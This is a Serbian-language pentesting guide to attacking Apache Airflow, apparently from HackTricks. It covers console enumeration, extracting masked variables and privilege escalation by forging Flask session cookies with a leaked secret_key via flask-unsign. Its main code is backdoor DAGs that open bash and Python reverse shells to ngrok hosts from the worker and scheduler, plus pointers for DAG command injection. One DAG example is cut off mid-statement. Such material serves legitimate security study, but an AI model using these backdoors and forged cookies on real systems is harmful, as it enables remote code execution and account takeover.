# Apache Airflow Security

{{#include ../../banners/hacktricks-training.md}}

### Osnovne Informacije

[**Apache Airflow**](https://airflow.apache.org) služi kao platforma za **orchestraciju i zakazivanje podataka ili radnih tokova**. Termin "orchestration" u kontekstu podataka označava proces organizovanja, koordinacije i upravljanja složenim radnim tokovima podataka koji potiču iz različitih izvora. Primarna svrha ovih orkestriranih radnih tokova podataka je da obezbede obrađene i upotrebljive skupove podataka. Ovi skupovi podataka se široko koriste u mnogim aplikacijama, uključujući, ali ne ograničavajući se na alate za poslovnu inteligenciju, modele podataka i mašinskog učenja, koji su svi osnovni za funkcionisanje aplikacija velikih podataka.

U suštini, Apache Airflow će vam omogućiti da **zakazujete izvršenje koda kada se nešto** (događaj, cron) **dogodi**.

### Lokalni Laboratorija

#### Docker-Compose

Možete koristiti **docker-compose konfiguracioni fajl sa** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) da pokrenete kompletnu apache airflow docker sredinu. (Ako ste na MacOS-u, obavezno dodelite najmanje 6GB RAM-a docker VM-u).

#### Minikube

Jedan jednostavan način da **pokrenete apache airflow** je da ga pokrenete **sa minikube**:
```bash
helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command

# Use this command to delete it
helm delete airflow-release
```
### Konfiguracija Airflow-a

Airflow može čuvati **osetljive informacije** u svojoj konfiguraciji ili možete pronaći slabe konfiguracije:

{{#ref}}
airflow-configuration.md
{{#endref}}

### Airflow RBAC

Pre nego što počnete sa napadima na Airflow, trebali biste razumeti **kako funkcionišu dozvole**:

{{#ref}}
airflow-rbac.md
{{#endref}}

### Napadi

#### Enumeracija Web Konzole

Ako imate **pristup web konzoli**, možda ćete moći da pristupite nekim ili svim sledećim informacijama:

- **Promenljive** (Prilagođene osjetljive informacije mogu biti pohranjene ovde)
- **Konekcije** (Prilagođene osjetljive informacije mogu biti pohranjene ovde)
- Pristupite im na `http://<airflow>/connection/list/`
- [**Konfiguracija**](./#airflow-configuration) (Osetljive informacije kao što su **`secret_key`** i lozinke mogu biti pohranjene ovde)
- Lista **korisnika i uloga**
- **Kod svakog DAG-a** (koji može sadržati zanimljive informacije)

#### Preuzimanje vrednosti promenljivih

Promenljive se mogu čuvati u Airflow-u tako da **DAG-ovi** mogu **pristupiti** njihovim vrednostima. Slično je tajnama drugih platformi. Ako imate **dovoljno dozvola**, možete im pristupiti u GUI-u na `http://<airflow>/variable/list/`.\
Airflow po defaultu prikazuje vrednost promenljive u GUI-u, međutim, prema [**ovome**](https://marclamberti.com/blog/variables-with-apache-airflow/), moguće je postaviti **listu promenljivih** čija će se **vrednost** prikazivati kao **zvezdice** u **GUI-u**.

![](<../../images/image (164).png>)

Međutim, ove **vrednosti** se i dalje mogu **preuzeti** putem **CLI** (morate imati pristup bazi podataka), **izvršavanjem proizvoljnog DAG-a**, **API** pristupom tački promenljivih (API mora biti aktiviran), i **čak i samim GUI-em!**\
Da biste pristupili tim vrednostima iz GUI-a, jednostavno **izaberite promenljive** kojima želite da pristupite i **kliknite na Akcije -> Izvezi**.\
Drugi način je da izvršite **bruteforce** na **skrivenoj vrednosti** koristeći **filtriranje pretrage** dok je ne dobijete:

![](<../../images/image (152).png>)

#### Eskalacija privilegija

Ako je konfiguracija **`expose_config`** postavljena na **True**, iz **uloge Korisnik** i **više** mogu **čitati** **konfiguraciju na web-u**. U ovoj konfiguraciji se pojavljuje **`secret_key`**, što znači da svaki korisnik sa ovim važećim može **napraviti svoj potpisani kolačić da bi se pretvarao da je bilo koji drugi korisnički nalog**.
```bash
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
```
#### DAG Backdoor (RCE u Airflow radniku)

Ako imate **pristup za pisanje** na mestu gde su **DAG-ovi sačuvani**, možete jednostavno **napraviti jedan** koji će vam poslati **reverse shell.**\
Imajte na umu da će ovaj reverse shell biti izvršen unutar **airflow radničkog kontejnera:**
```python
import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator

with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
)
```

```python
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)
```
#### DAG Backdoor (RCE u Airflow scheduler-u)

Ako postavite nešto da bude **izvršeno u korenu koda**, u trenutku pisanja ovog teksta, biće **izvršeno od strane scheduler-a** nakon nekoliko sekundi nakon što ga stavite unutar DAG-ove fascikle.
```python
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

rs("2.tcp.ngrok.io", 14403)

with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
```
#### Kreiranje DAG-a

Ako uspete da **kompromitujete mašinu unutar DAG klastera**, možete kreirati nove **DAG skripte** u `dags/` folderu i one će biti **replicirane na ostalim mašinama** unutar DAG klastera.

#### Ubrizgavanje koda u DAG

Kada izvršavate DAG iz GUI-a, možete **proslediti argumente**.\
Stoga, ako DAG nije pravilno kodiran, mogao bi biti **ranjiv na Command Injection.**\
To se desilo u ovom CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)

Sve što treba da znate da **počnete da tražite command injections u DAG-ovima** je da se **parametri** **pristupaju** sa kodom **`dag_run.conf.get("param_name")`**.

Štaviše, ista ranjivost može se javiti i sa **varijablama** (imajte na umu da sa dovoljno privilegija možete **kontrolisati vrednost varijabli** u GUI-u). Varijable se **pristupaju sa**:
```python
from airflow.models import Variable
[...]
foo = Variable.get("foo")
```
Ako se koriste, na primer, unutar bash komande, mogli biste izvršiti injekciju komande.

{{#include ../../banners/hacktricks-training.md}}
